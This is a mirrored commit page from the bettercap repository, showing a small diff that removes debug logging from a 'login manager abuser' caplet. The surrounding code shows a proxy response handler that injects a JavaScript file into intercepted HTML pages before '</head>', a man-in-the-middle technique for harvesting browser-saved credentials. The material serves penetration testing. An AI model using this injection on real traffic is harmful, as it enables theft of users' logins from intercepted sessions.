mirror of
https://github.com/bettercap/bettercap
synced 2025-08-14 10:46:57 -07:00
fix: removed debug logs from login manager abuser script
This commit is contained in:
parent
493867be6b
commit
f0614395d8
1 changed files with 1 additions and 2 deletions
|
@ -12,7 +12,7 @@
|
|||
var AbuserJavascript = "";
|
||||
|
||||
function onLoad() {
|
||||
console.log( "Loading abuser code from caplets/login-man-abuser.js" );
|
||||
// console.log( "Loading abuser code from caplets/login-man-abuser.js" );
|
||||
AbuserJavascript = readFile("caplets/login-man-abuser.js")
|
||||
}
|
||||
|
||||
|
@ -34,7 +34,6 @@ function onRequest(req, res) {
|
|||
function onResponse(req, res) {
|
||||
if( res.ContentType.indexOf('text/html') == 0 ){
|
||||
var body = res.ReadBody();
|
||||
console.log(AbuserJavascript);
|
||||
if( body.indexOf('</head>') != -1 ) {
|
||||
res.Body = body.replace(
|
||||
'</head>',
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue